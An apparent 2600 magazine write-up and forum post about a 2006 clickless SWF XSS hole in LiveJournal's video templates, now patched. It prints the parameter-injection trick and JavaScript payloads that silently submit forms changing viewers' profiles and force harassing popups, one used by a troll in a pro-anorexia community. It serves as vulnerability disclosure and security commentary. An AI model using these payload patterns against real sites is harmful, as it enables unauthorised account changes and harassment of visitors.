Exploiting LiveJournal.com with Clickless SWF XSS

by Zaphraud

This article will focus on a clickless SWF XSS exploit of LiveJournal.com and the importance of:

  • Learning from the past.
  • Auditing all errors to at least determine what caused them.
  • Last but not least, the ultimate form of code auditing: Using your program while intoxicated, to simulate a "regular" user.

As of October 6, 2006 LiveJournal staff closed this vulnerability in the video template system.

Recent Background

A few months ago, LiveJournal joined other blogging sites in supporting video content for its members.

Initially, the template system was used.  Later, support was also added for simply pasting <object>-style code from YouTube or Photobucket.

Focus here is on the template system, which works as follows using a URL pasted in from one of the two allowable services, YouTube or Photobucket:

<lj template="name">http://www.youtube.com/watch?v=d3PyLe6siVE</lj-template>

The very first thing that crossed my mind when I saw this was "Gee, I bet they are only checking domain names."

I proceeded to post an entry on August 2nd featuring a small Mozilla banner that I had uploaded to Photobucket for the purpose of testing this.

The post is at acpizza.livejournal.com/499638.html and uses the following snippet:
<lj-template name="video">http://img.photobucket.com/albums/v510/zaphraud/misc/mozilla.swf</lj-template>

On September 13, 2006, I discovered a hilarious meme while drunk and posted another entry at acpizza.livejournal.com/501921.html and made the mistake of putting quotes around the URL, as follows:

<lj-template name="video">"http://img.photobucket.com/albums/v510/zaphraud/Funny/longcat.swf"</lj-template>

It didn't work and I edited it to fix it.

Bear in mind that I was drunk, so once I figured out what I did wrong by looking at previous examples, is it any surprise that I ended up with:

<lj-template name="video">http://img.photobucket.com/albums/v510/zaphraud/Funny/longcat.swf"</lj-template>

after "fixing" the problem?  Notice I drunkenly left a quote at the end?

What happened next is key: Instead of properly breaking with the normal LiveJournal error when HTML is all screwed up:

[Error: Irreparable invalid markup ('whatever was bad') in entry. Owner must fix manually. Raw contents below.]

I saw the word OBJECT on one side and a quote and a "> on the other side, with a working video in the middle, presumably from the <embed> tag.

Yes, as it turns out from viewing the source, it was possible to pass parameters to the Flash.  Initially I played with this in the following manner:

<lj-template name="video">http://img.photobucket.com/albums/v510/zaphraud/Funny/zeldazv0.swf"height="1"width="1</lj-template>

Note that spaces in the URL are disallowed.

However, by quoting parameters, separation of arguments is preserved.  This one pixel "video" is actually a hummed rendition of the Zelda theme song, which as you can imagine is quite capable of making people confused when it ends up posted in a LiveJournal community, or a message comment, as there is not really any way to tell where exactly it came from short of viewing the source.

At some point, a Photobucket-hosted meatspin.swf was posted to a community, but a moderator deleted it rapidly.

Perhaps because of people getting used to MySpace profiles that are every bit as annoying as late-1990s GeoCities web pages, abuse of this function went under-reported.  Clearly, something larger was needed in order to get this problem fixed.  It was time to reopen a can of Exxon Seal Remover...

<lj-template name="video">http://img.photobucket.com/(some url).swf"height="1"width="1"AllowScriptAccess="always</lj-template>

The AllowScriptAccess tag allows JavaScript to be run from Flash.

I downloaded a trial version of Flash 8 and struggled with this monster application's awkward interface until I figured out where I needed to drop my load, after which it became extremely simple.

getURL("javascript:document.write('<form method=post name=esr2006 action=http://www.livejournal.com/interests.bml><input type=hidden name=mode value=add><input type=hidden name=intid value=456049><input type=submit value=ESR></form>');document.esr2006.submit();");

It basically uses a single URL in order to write a little HTML form, then click on the submit button.

After it ran for a couple of hours in a popular but much disliked community, I shut it off and tried some other things.

Another person proved it possible to write a posting worm, in spite of LiveJournal's separation of domains, because since that time they have added another feature, www.livejournal.com/portal, that shows "friend's entries" on the main LiveJournal site which made it possible to use JavaScript to manipulate the new post page, located at www.livejournal.com/update.bml.  This code was never released into the wild, and was only tested in a sterilized form.

The following code was used by a troll, apparently an obese orange cat, posting in the "proanorexia" community:

getURL("javascript:document.write('
<html>
<body>
<script language=\"JavaScript\"> 
function rUrl() { 
		var cdate = 0; 
		var sex = 0; 
		targurl = new Array(4); 
		targurl[0] = \"Donut_Girl\"; 
		targurl[1] = \"Ronders\"; 
		targurl[2] = \"Andikins\"; 
		targurl[3] = \"Shay\"; 
		var ran = 60/targurl.length; 
		cdate = new Date(); 
		sex = cdate.getSeconds(); 
		sex = Math.floor(sex/ran); 
		return(\"http://encyclopediadramatica.com/index.php/\" + targurl[sex]); 
} function PopupMe() { 
		myleft=100;
		mytop=100;
		settings=\"top=\" + mytop + \",left=\" + myleft + \",width=900,height=800,location=no,directories=no,menubar=no,toolbar=no,status=no,scrollbars=yes,resizable=yes,fullscreen=yes\";
		PopupWin=window.open(rUrl(),\"PopupWin\", settings);
		PopupWin.blur();
}
</script>
<form method=post name=esr2006 action=http://www.livejournal.com/interests.bml>
<input type=hidden name=mode value=add><input type=hidden name=intid value=456049>
<input type=submit value=ESR>
</form>
</body>
</html>'); 
PopupMe(); 
document.esr2006.submit();
");

This is the final known example of this exploit in a functional form, which not only made users interested in Exxon Seal Remover, but then triggered an aggressive pop-up of one of four f*cked-up-people pages from Encyclopedia Dramatica.

What can we learn from the past, with respect to development and security?

At first glance, it would appear that this is just a more advanced version of the same damn thing that happened with Exxon Seal Remover in 2001 (see www.livejournal.com/tools/memories.bml?user=acpizza&keyword=Exxon+Seal+Remover+bugfix) where image tags weren't being properly filtered and allowed for manipulation of the user's interests, or, in the 21-January-2003 entry, to launch the user's mail client with a shocking message (it initially said something else).

On the other hand, one has to take into account reality, something we hackers often overlook.

While only having a day or two of significant downtime in the last half dozen years, LiveJournal.com has been completely overtaken in popularity by the bug-ridden Swiss cheese that is MySpace.com, and that's because MySpace used the same philosophy that Microsoft has used in all their products (and perhaps until recently with their OS): Get it working, now.  Fix it when it breaks.

In a world with no real corporate responsibility, fixing security holes before they are exploits or spending time creating quality code is a losing business model.

That saddens me deeply, but that's an unfortunate reality.

Kudos to the 805 and the 602.




   zaphraud
   Post Posted: Thu Sep 07, 2006 8:42 am 
     _________________________________________________________________

   First, the 0day:

   LJ recently enabled movies on photobucket and youtube with a template.
   The  template  is  needed  both to keep people from posting random-ass
   stuff and turning LJ into the mess that MySpace is.

   Also  needed  to keep people from having passwords jacked by malicious
   flash, if they are running an older version of flash, the activescript
   is apparently a problem (?). This was recently highlighted on MySpace,
   where the site basically did everything it could to ram Flash Player 9
   down  everyones  throat - including insisting that my Linux box didn't
   have  the  latest  version of Flash (7 is the latest on Linux - I hope
   Sun  gets  on  Adobe's  ass  about  fixing  the  problems in the Linux
   version,  if they were ever there to start with; I know that the Linux
   version of 7 lacks many of the problems I had with the Windows version
   of  7...  lets just say I never had to fight battles with getflash.exe
   in Linux!).

   In ANY case, you can see it here:

   
   <lj-template name="video">http://img.photobucket.com/albums/v510/zaphraud/misc/mozilla.swf</lj-template>

   acpizza.livejournal.com/499638.html

   ...you  can also post the SWF ads on photobucket or youtube as if they
   were  movies,  as  long as they are within the parent domain. (ads for
   their  own  products, in other words. They dont host the ads for other
   cos.)

   This is a security hole exploit because:

   1.  You  aren't  supposed  to be able to do that. That could be a MUCH
   more annoying flash program, and LiveJournal, like everywhere else, is
   relying on the SWF player to not spontaneously start itself up.

   2.  I  can  upload  any  SWF  to  Photobucket  that  I  want,  because
   photobucket allows SWF as a still image format (go figure. I guess its
   vaguely similar to a really, really, really animated gif...)

   3.  The LiveJournal template system, while it does an excellent job of
   detecting  any  other domain than YouTube or Photobucket, doesn't seem
   to  give a shit WHERE on either of those domains the Flash comes from!
   The template ONLY checks the domain name!

   I've  been  playing  with  LJ this for half a decade now on and off, I
   probably  find  a  hole  in LJ every other year or so. By far the most
   direct and noticable was the "Exxon Seal Remover" trick, which occured
   in  2001.  Ive  since  found  some  of the stuff the staff wrote about
   getting it fixed and made it into memories:
   
   www.livejournal.com/tools/memories.bml?user=acpizza&keyword=Exxon+Seal+Remover+bugfix.

   In  acpizza.livejournal.com/104425.html  I was able to post
   Flash  to  LJ  as  well. Despite reporting it, that bug sat completely
   unfixed  until  YEARS  later  -  like late 2005 or early 2006 I think,
   #bantown  seized  a bunch of passwords using XSS and all of the sudden
   they  turned  the  paranoia  on  the  filtering  way up and it stopped
   working. *this didn't work in MSIE* - MSIE doesnt interpret the object
   tag  if  that  damned dot is stuck on the end - but since it worked in
   Firefox, which later became FAR more popular than Mozilla, by the time
   #bantown  got  around  to  noticing  it was pretty significant when it
   happened  to  LJ.  I  think  they  logged  everyone  out, actually, to
   implement a new password system and new domain mapping.

   Gee,  all  those years to fix it, sure didn't take 'em long to open up
   another SWF hole did it?
   
   In "Testing a mozilla bug"

   (acpizza.livejournal.com/114464.html)  I had read about the IMG
   SRC="mailto:"  problem  with  Mozilla and wanted to see how it worked,
   sorta  publicly...  Back  in  2003 I figured anyone smart enough to be
   using  Mozilla  would  be smart enough not to freak out. I didn't know
   the same bug existed in MSIE - I swear it - and so I had to alter that
   post  pretty  quick  after a bunch of chicks promptly freaked out when
   their email programs opened.
Return to $2600 Index